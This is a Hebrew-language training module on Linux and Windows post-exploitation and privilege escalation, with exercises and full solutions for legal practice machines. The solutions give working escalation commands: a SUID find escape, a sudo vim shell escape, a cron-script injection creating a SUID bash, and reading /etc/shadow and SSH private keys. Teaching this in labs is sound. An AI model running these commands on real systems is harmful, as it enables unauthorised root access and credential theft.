

מודול 11 — פוסט-אקספלוויטציה והסלמת הרשאות — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות
2.  פתרונות מלאים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות

תרגילים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות

רק על מכונות תרגול חוקיות — Metasploitable, מכונות TryHackMe (Linux/Windows PrivEsc), VulnHub. פתרונות ב- [solutions.md](#).

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — ייצוב ו-Enumeration (●)

11.1 — קיבלת Reverse Shell גולמי (nc). ייצב אותו לשל מלא (Tab, חצים, Ctrl+C). רשום את הפקודות.

11.2 — על מכונת Linux, הרץ Enumeration בסיסי: מי אתה, גרסת הקרנל, משתמשים, ומה רץ. רשום את הפקודות ואת מה שמצאת.

11.3 — הרץ את אותה בדיקה על Windows (net user , systeminfo , whoami /priv). מה ההבדל המרכזי מ-Linux?

חלק ב' — הסלמה ב-Linux (●●)

11.4 — מצא את כל קובצי ה-SUID במערכת. בחר אחד שמופיע ב-GTFOBins ונצל אותו להסלמה ל-root.

11.5 — הרץ sudo -l. אם מותר לך להריץ תוכנית מסוימת כ-sudo — נצל אותה (דרך GTFOBins) לקבלת shell כ-root.

11.6 — מצא Cron job שרץ כ-root וקורא לסקריפט שאתה יכול לכתוב אליו. הזרק פקודה שתעניק לך הסלמה.

חלק ג' — הסלמה ב-Windows ואוטומציה (●●)

11.7 — הרץ WinPEAS או PowerUp.ps1 על מכונת Windows. זהה לפחות וקטור הסלמה אחד שהכלי הדגיש והסבר אותו.

11.8 — הרץ LinPEAS על מכונת Linux. השווה: אילו וקטורים מצא הכלי שלא מצאת ידנית?

11.9 — **Looting**: אחרי הסלמה ל-root, אסוף: `/etc/shadow`, קובץ קונפיג עם סיסמה, ומפתח SSH. מה תעשה עם ה-hashes?

אתגר מסכם — “מ-root ל-user, מתועד”

על מכונת PrivEsc (Linux PrivEsc, TryHackMe או “Windows PrivEsc”):

1. התחל מ-Shell של משתמש **מוגבל**.
2. בצע **Enumeration** מלא (ידני + אוטומטי) ותעד את כל הווקטורים הפוטנציאליים.
3. **הסלם ל-root/SYSTEM** דרך וקטור אחד לפחות — הסבר בדיוק למה הוא עבד.
4. **Loot**: אסוף hashes/סיסמאות. נסה לפצח אחד (מודול 8).
5. **תעד דוח PrivEsc**: נקודת פתיחה, וקטור ההסלמה, PoC (פקודות + פלט), והמלצת תיקון.

דוח הסלמת הרשאות הוא חלק מרכזי בכל דוח בדיקת חדירה. שמור אותו לתיק העבודות.

רשימת בקרה — לפני מעבר למודול 12

- ☐ אני מייצב Reverse Shell גולמי לשל מלא
- ☐ אני מבצע Enumeration מקומי ב-Linux וב-Windows
- ☐ אני מסלים ב-Linux (SUID, sudo, Cron, Kernel) עם GTFOBins
- ☐ אני מסלים ב-Windows (privileges, services, AlwaysInstallElevated)
- ☐ אני משתמש ב-LinPEAS/WinPEAS ומפרש את הפלט
- ☐ אני אוסף hashes וסיסמאות (Looting) ומבין את חשיבותם לתנועה רוחבית

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות

נסה לבד ב- `missions.md` קודם. כל הפעולות על מכונות תרגול חוקיות בלבד.

חלק א' — ייצוב ו-Enumeration

11.1

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
# ← shell מלא
```

11.2

```
id; whoami                # מי אני
uname -a; cat /etc/os-release # מערכת וקונל
cat /etc/passwd           # משתמשים
ps aux; netstat -tulpn    # תהליכים ורשת
sudo -l                   # הרשאות sudo
```

11.3

```
whoami /priv      :: הרשאות מיוחדות
systeminfo        :: גרסה + hotfixes
net user          :: משתמשים
```

ההבדל המרכזי: ב-Windows מתמקדים בהרשאות (Privileges) ושירותים, ב-Linux בקבצים (SUID) ו-sudo.

חלק ב' — הסלמה ב-Linux

11.4

```
find / -perm -4000 -type f 2>/dev/null
# עם SUID → GTF0Bins: find ניה מצאנו
find . -exec /bin/sh -p \; -quit
# id → uid=0(root) ✓
```

11.5

```
sudo -l
# (root) NOPASSWD: /usr/bin/vim ← דוגמה
sudo vim -c '!/bin/sh'
# → shell כ-root
```

עקרון: כל תוכנית שמותר להריץ כ-sudo ומאפשרת "ברירה" לפקודות מערכת (vim, less, find, awk,) (...python = הסלמה. בדוק ב-GTFOBins.

11.6

```
cat /etc/crontab
# * * * * * root /opt/backup.sh ← רץ כ-root
ls -la /opt/backup.sh          # אם כתיב לי:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# ממתינים לריצה, ואז:
/tmp/rootbash -p              # → root
```

חלק ג' — Windows ואוטומציה

11.7 — PowerUp.ps1 :

```
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
```

דוגמאות ממצא: **Unquoted Service Path, AlwaysInstallElevated=1**, שירות עם הרשאות חלשות. בוחרים אחד ומנצלים (למשל שתילת בינארי בנתיב לא ממוקש).

11.8 — linpeas.sh צובע ממצאים באדום/צהוב (סבירות גבוהה). לרוב הוא ימצא דברים שפספסת: passwords בקבצי קונפיג, capabilities, מפתחות פרטיים, ותהליכים חשודים — כי הוא סורק מאות מיקומים.

11.9

```
cat /etc/shadow          # hashes
cat /var/www/html/config.php # DB סיסמת
cat /home/user/.ssh/id_rsa # מפתח פרטי
```

עם ה-hashes → **מפצחים ב-hashcat/john** (מודול 8), או משתמשים בהם ל-Pass-the-Hash ותנועה רוחבית (מודול 12/13).

```
# >דוח הסלמת הרשאות — >מכונה #  
  
## נקודת פתיחה  
Shell כמשתמש www-data (הרשאות מוגבלות), דרך File Upload.  
  
## Enumeration  
LinPEAS על /usr/bin/vim; sudo NOPASSWD על /usr/bin/find; הדגיש  
  
## וקטור ההסלמה שנוצל  
sudo vim -c '!/bin/sh' → uid=0(root)  
ומאפשר בריחה לפקודת מערכת sudo-מותר כ vim: למה עבד  
  
## Looting  
hashcat עם root פוצחה סיסמת /etc/shadow; נשלף  
  
## המלצת תיקון  
least-privilege הפעל עקרון SUID; הגבל vim-מ NOPASSWD הסר
```

עברת? יש לך דוח PrivEsc אמיתי. המשך למודול 12.